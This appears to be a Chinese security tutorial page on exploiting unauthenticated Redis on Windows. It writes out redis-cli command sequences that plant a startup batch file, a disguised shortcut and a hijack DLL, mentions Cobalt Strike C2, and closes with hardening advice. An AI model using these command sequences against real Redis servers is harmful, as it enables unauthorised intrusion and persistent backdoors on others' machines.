Redis安全攻防 - Windows环境下的攻防技术<\/h1>

Windows写启动项<\/h2>

写入文件<\/h3>

在Windows系统中，攻击者可以利用Redis未授权访问漏洞写入恶意文件到启动目录，实现持久化控制：<\/p>

启动目录位置<\/strong>：<\/p>

当前用户启动目录：C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<\/code><\/li>
系统启动目录：C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\<\/code><\/li> <\/ul> <\/li>
利用Redis写入<\/strong>：<\/p> redis-cli -h [<\/span>目标IP]<\/span> config set dir "C:\/Users\/[用户名]\/AppData\/Roaming\/Microsoft\/Windows\/Start Menu\/Programs\/Startup\/"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> config set dbfilename "malicious.bat"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> set x "\r\n\r\n[恶意命令]\r\n\r\n"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> save <\/span><\/span><\/code><\/pre><\/li> <\/ol> 阅读写入的文件<\/h3> 验证文件是否成功写入：<\/p> type "C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.bat"<\/span> <\/span><\/span><\/code><\/pre>执行结果<\/h3> 当用户下次登录时，系统会自动执行该批处理文件，攻击者可以实现：<\/p> 反弹shell<\/li> 下载并执行恶意软件<\/li> 建立持久化后门<\/li> <\/ul> 快捷方式覆盖<\/h2> 攻击者可以覆盖现有的快捷方式或创建新的快捷方式指向恶意程序：<\/p> 创建恶意快捷方式<\/strong>：<\/p> redis-cli -h [<\/span>目标IP]<\/span> config set dir "C:\/Users\/[用户名]\/Desktop\/"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> config set dbfilename "看起来无害.lnk"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> set x "[恶意快捷方式内容]"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> save <\/span><\/span><\/code><\/pre><\/li> 利用方式<\/strong>：<\/p> 伪装成常用软件的快捷方式<\/li> 修改现有快捷方式的指向目标<\/li> 结合社会工程学诱导用户点击<\/li> <\/ul> <\/li> <\/ol> Windows DLL劫持<\/h2> 利用Redis写入恶意DLL文件，利用Windows的DLL搜索顺序进行劫持：<\/p> 常见DLL劫持目标<\/strong>：<\/p> ws2_32.dll<\/code><\/li> kernel32.dll<\/code><\/li> user32.dll<\/code><\/li> <\/ul> <\/li> 攻击步骤<\/strong>：<\/p> redis-cli -h [<\/span>目标IP]<\/span> config set dir "C:\/Program Files\/[目标程序]\/"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> config set dbfilename "malicious.dll"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> set x "[恶意DLL内容]"<\/span> <\/span><\/span>redis-cli -h [<\/span>目标IP]<\/span> save <\/span><\/span><\/code><\/pre><\/li> 出网：Cobalt Strike<\/strong>：<\/p> 可以编写DLL与Cobalt Strike的Beacon进行通信<\/li> 实现隐蔽的C2通道<\/li> 绕过部分安全产品的检测<\/li> <\/ul> <\/li> <\/ol> 防御措施<\/h2> Redis配置加固<\/strong>：<\/p> 设置强密码认证<\/li> 修改默认端口<\/li> 绑定特定IP<\/li> 禁用危险命令（如CONFIG、SAVE等）<\/li> <\/ul> <\/li> 系统防护<\/strong>：<\/p> 设置启动目录的ACL权限<\/li> 监控对启动目录的写入操作<\/li> 部署EDR解决方案检测异常行为<\/li> <\/ul> <\/li> 网络防护<\/strong>：<\/p> 限制Redis端口的网络访问<\/li> 部署IPS\/IDS检测Redis利用行为<\/li> 定期审计网络配置<\/li> <\/ul> <\/li> <\/ol> 总结<\/h2> Windows环境下的Redis安全攻防涉及多种持久化技术，攻击者可以利用Redis的未授权访问漏洞在目标系统上建立持久化控制。防御方应从Redis配置、系统权限和网络防护等多层面进行防护，同时建立有效的监控机制。<\/p>
